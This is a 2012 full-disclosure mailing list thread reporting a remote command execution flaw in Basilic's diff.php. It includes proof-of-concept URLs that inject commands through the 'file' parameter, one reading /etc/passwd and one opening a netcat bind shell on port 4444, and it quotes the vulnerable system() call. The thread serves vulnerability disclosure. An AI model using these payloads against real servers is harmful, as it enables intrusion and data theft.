full-disclosure - Re: Basilic RCE bug

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Message-ID: <CAEJizbYn+GW3B0=-wQOyjNwi_z5YSRj7qMEV_CdaZDYaU=Z-bw@mail.gmail.com>
Date: Fri, 6 Jul 2012 18:50:10 +0100
From: Benji <me@...ji.com>
To: larry Cashdollar <larry0@...com>
Cc: m.razavi777@...il.com, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com
Subject: Re: Basilic RCE bug

Thank you for confirming that, and providing an even sup3r c00ler POC.
I have always wondered how nc works, and combined with system, it
seems it makes a super exciting vulnerability.

On Fri, Jul 6, 2012 at 5:32 PM, larry Cashdollar <larry0@...com> wrote:
> verified, http://artis.imag.fr/Software/Basilic/
>
> http://127.0.0.1/basilic/Config/diff.php?file=%26nc%20-ltp4444%20-e%20/bin/bash&new=1&old=2
>
> for an interactive shell on port 4444.  Neat.
>
> line 39 of diff.php is
>
> system("diff ../$_GET[old]/$_GET[file] $_GET[new]/$_GET[file] | sed
> s%\"<\"%\"\&lt;\"%g | sed s%\">\"%\"\&gt;\"%g");
>
>
> On Jun 30, 2012, at 01:45 PM, m.razavi777@...il.com wrote:
>
> Hi
> Dear Sir
>
> Basilic is an Automated Bibliography Server for Research Publications
> Diffusion that use by many research center.
> there is a RCE bug in basilic/Config/diff.php s could allow an attacker to
> run system command in server.
> sample:
> http://127.0.0.1/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1&old=2
>
> Regards
> M.Razavi
>
>
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